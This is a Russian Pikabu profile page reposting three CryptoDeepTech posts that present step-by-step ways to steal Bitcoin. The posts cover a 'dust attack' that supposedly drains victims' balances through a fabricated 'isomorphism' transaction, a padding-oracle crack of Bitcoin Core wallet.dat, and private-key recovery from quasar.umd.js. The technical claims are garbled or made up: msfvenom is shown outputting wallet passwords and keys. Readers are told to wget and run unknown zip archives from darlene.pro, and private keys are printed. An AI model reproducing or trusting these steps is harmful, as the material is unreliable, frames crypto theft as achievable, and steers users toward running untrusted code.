CryptoDeepTech

CryptoDeepTech

https://cryptodeeptool.ru
Пикабушник
36 рейтинг 25 подписчиков 0 подписок 63 поста 0 в горячем
Награды:
5 лет на Пикабу
0

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе.

Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки.

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

https://dust-attack.blogspot.com

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Согласно, статье в этой транзакции было совершено наибольшее количество краж монет BTC с использованием системы пылевой атаки.

Обратим внимание на Биткоин Адрес которые в период [июль-август 2022] совершил успешные пылевые атаки на общую сумму: 10000 BTC

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой.

На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел “Create Dust Transaction”

Установим Python 3.12.1 на Windows 10

Link to gif content #01

Скачиваем исходный код устанавливаем get-pip.py , а также запускаем install.py для установки пакетов:

Link to gif content #02

Сгенерируем собственный холодный кошелек

Link to gif content #03

Баланс и транзакция платежа

Пополняем баланс холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Баланс: 0.02786906 BTC или в единицах Биткоина: 2786906 satoshi

Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Дерево Меркла заполняется снизу вверх, где к каждому блоку данных применяется хеширование, а полученные значения записываются в листья дерева. Блоки, которые находятся уровнем выше, заполняются значением суммы хешем двух дочерних блоков. Этот процесс повторяется до того момента, пока не будет получено верхнее значение или Корень Меркла (Merkle Root). В блокчейне Bitcon используется хеш-функция SHA256. Другие блокчейны могут использовать другие принципы шифрования для создания Дерева Меркла.

Хэш платежа от пополнение баланса

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Скопируем TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

В строке №5 вставим Private Key WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет 2786906 satoshi

tx_in._value = 2786906

Прибыль от пылевой атаки.

Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Link to gif content #04.1

Мы получили RawTX пылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts

RawTX for performing isomorphism:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

https://coinbin.ru/#verify

ScriptSig Isomorphism

Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.

Link to gif content #05.1

Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools

https://github.com/demining/CryptoDeepTools/blob/main/28Dust...

Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение 74786964 в новой транзакции изоморфизма на все текущие txid которые были совершены в Биткоин Кошелек: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i на которую мы производим пылевую атаку с малой суммой 555 satoshi [ send_dust ]

Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash

Link to gif content #06

После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменив txid, для этого открываем файл: isomorphism.txt в Notepad++

нажимаем клавиши:
CTRL + F пишем: 74786964 заменить на: \ntxid\n

Переходим в CryptoDeepTools и выполним функцию замены в Notepad++

т.к. мы получили список txid теперь из списка GitHub скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt

Link to gif content #08

Замена публичного ключа в файле: isomorphism.txt

Изоморфизм это новая транзакция и в место значение 7075626b6579 нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файл PublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.

https://github.com/demining/CryptoDeepTools/blob/main/28Dust...

После нам необходимо изменить все существующие значение

7075626b6579
на значение в файле: PublicKey.txt (Все действие делаются также в Notepad++)

Link to gif content #10

Биткоин адрес для получения всей прибыли:

Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):

36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

Для того, чтобы получить hash160 для Биткоин адреса нам необходимо раскодировать RedeemScript используем python скрипт createrawtransaction.py

print(Tx.get_address_data(send_dust)['script_pubkey'])

После получение hash160 из нового Биткоин Адреса (SegWit) нам необходимо открыть файл:

isomorphism.txt в Notepad++
и заменить значение 68617368313630 на полученное значение hash160

Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле:

isomorphism.txt нажав клавиши: CTRL + A после объединяем все в одну строку для этого необходимо нажать на клавиши CTRL + J в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши: CTRL + F заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.

Link to gif content #12

Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

https://coinbin.ru/#verify

Сумма прибыли в монетах от пылевой атаки составляет:

5000.00141092 BTC // $ 209364,284.08 United States Dollar

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

https://www.coinbase.com/converter/btc/usd

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Видеоматериал: https://dzen.ru/video/watch/65be9256df804947fbd96fd7

Источник: https://cryptodeep.ru/dustattack

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC Биткоины, Криптовалюта, Видео, Длиннопост, Telegram (ссылка), Яндекс Дзен (ссылка), YouTube (ссылка)

Криптоанализ

Показать полностью 11

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat

Технические подробности данной атаки известны:

Злоумышленник может эффективно расшифровывать данные, не зная ключа расшифровки, если целевая система сливает данные о том, произошла ли ошибка заполнения при расшифровке зашифрованного текста.
Целевая система, которая передает информацию такого типа, становится заполняющим оракулом, и злоумышленник может использовать этот оракул для эффективной расшифровки данных, не зная ключа дешифрования, выдавая в среднем 128*b вызовов заполняющему оракулу (где b — это количество байт в блоке зашифрованного текста).
Помимо выполнения расшифровки, злоумышленник также может создавать действительные зашифрованные тексты (т. е. выполнять шифрование) с помощью оракула заполнения, и все это без знания ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Любая криптосистема может быть уязвима для атак оракула заполнения, если зашифрованные сообщения не аутентифицируются для обеспечения их достоверности перед расшифровкой, а затем информация об ошибке заполнения передается злоумышленнику.
Этот метод атаки может использоваться, например, для взлома систем CAPTCHA или расшифровки/изменения информации о состоянии, хранящейся в объектах на стороне клиента (например, скрытых полях или файлах cookie).

Этот метод атаки представляет собой атаку по побочному каналу на криптосистему, которая использует утечку данных из неправильно реализованной процедуры дешифрования для полного подрыва криптосистемы. Одного бита информации, который сообщает злоумышленнику, произошла ли ошибка заполнения во время расшифровки, в какой бы форме она ни была, достаточно, чтобы злоумышленник взломал криптосистему.  Этот бит информации может прийти в форме явного сообщения об ошибке заполнения, возвращенной пустой страницы или даже того, что серверу требуется больше времени для ответа (временная атака).

Эту атаку можно запустить в междоменном режиме, когда злоумышленник может использовать междоменные утечки информации, чтобы получить биты информации от оракула заполнения из целевой системы/службы, с которой взаимодействует жертва. В симметричной криптографии атака оракула заполнения может быть выполнена в режиме шифрования AES-256-CBC (который используется Bitcoin Core), при котором «оракул» (источник) передает данные о том, является ли заполнение зашифрованного сообщения правильно или нет.
Такие данные могут позволить злоумышленникам расшифровать сообщения через оракул, используя ключ оракула, не зная ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Процесс Padding Oracle Attack на Wallet.dat

Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате.

Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму: 44502.42 долларов США // БИТКОИН: 1.17461256 BTC

Перейдем по ссылке на releases Bitcoin Core version 22.1

Index of /bin/bitcoin-core-22.1/

Установить Bitcoin Core version 22.1

ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core

Нажимаем клавиши: Ctrl + Q

Необходимо перезагрузить программу QT, для того чтобы синхронизировать новый wallet.dat

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/ ls cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5...

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Перейдем по каталогу: /ExploitDarlenePRO/

cd /

cd content/metasploit-framework/

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr

!hostname -I

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Команда запуска:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Результат:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Откроем файл: walletpassphrase.txt

ls

cat walletpassphrase.txt

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Результат:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

Пароль для доступа к приватному ключу найден!

Воспользуемся командой dumpprivkey "address" через консоль Bitcoin Core

Команды:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Результат:

KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

Приватный Ключ Получен!

Установим библиотеку Bitcoin Utils

pip3 install bitcoin-utils

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Запустим код для проверки соответствие Биткоин Адреса:

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Все верно! Приватный ключ соответствует Биткоин Кошельку.

https://cryptodeep.ru/bitaddress.html

Откроем bitaddress и проверим:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz HEX: 3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0aCfT-kCRlw

Источник: https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Гифка, Длиннопост
Показать полностью 14

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.

Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.

Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager получила с развитием Bitcoin Lightning Wallet (BLW) т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV, предназначенный для Android и iPhone с функциональностью Node.js. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).

Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:

  • Сбор бумажных цен на монет BTC, ETH, LTC, USDT, XLM, BNB, и.т.д

  • Ведение списка общедоступных нодов LNbits, которые Bitcoin Lightning Wallet (BLW) использует для открытия платежных каналов.

  • Предоставление частичной оплаты платежных маршрутов.

  • Хранение зашифрованной резервной копии вашего платежного канала.

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

LNbits node manager работает с сервисами:

Согласна примерам Salvador Guerrero многие кто установил LNBits на полноценный Биткоин-узел (Bitcoin Node) может работать на Raspberry Pi, чтобы отправлять и получать Bitcoin без комиссий за транзакции. Это возможно только в том случае, если все криптокошельки от LNbits находятся в одном экземпляре Core Lightning.

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что Lightning Network тонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.

После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js

Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.

Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js

Ошибка в коде quasar.umd.js

GitHub Repo

В случае слабого генератора псевдослучайных чисел (PRNG) нам дается возможность получить SEED и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues теряет криптостойкость над случайным значением.

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )

https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV

https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability

Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG) в коде quasar.umd.js

Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 11032.77 долларов США // БИТКОИН: 0.30412330 BTC

Bitcoin_Lightning_Wallet_Vulnerability.ipynb

Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Нажимаем на "+" и “Создаем новый блокнот”

Установим Ruby в Google Colab

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Проверим версию установки

!ruby --version

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Установим Metasploit Framework и воспользуемся MSFVenom

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Посмотрим содержимое папки "metasploit-framework"

ls

Опции:

!./msfvenom -help

Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js

В примечание мы видим ссылку на файл: quasar.umd.js

Откроем код:

LNbits, free and open-source Lightning wallet and accounts system

Установим lnbits в Google Colab:

!git clone https://github.com/lnbits/lnbits.git

ls

Откроем уязвимый файл: quasar.umd.js через утилиту cat

cat lnbits/lnbits/static/vendor/quasar.umd.js

Откроем папки по каталогу: /modules/exploits/

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f221...

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Перейдем по каталогу: /ExploitDarlenePRO/

ls cd ExploitDarlenePRO/ ls

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd / cd content/metasploit-framework/ ls

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr !hostname -I

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Команда запуска:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Результат:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Откроем файл: hex.txt

cat hex.txt

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Приватный Ключ Найден!

Установим модуль Bitcoin

!pip3 install bitcoin

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Запустим код для проверки соответствие Биткоин Адреса:

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Откроем файл: privtoaddr.txt

cat privtoaddr.txt

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Результат:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

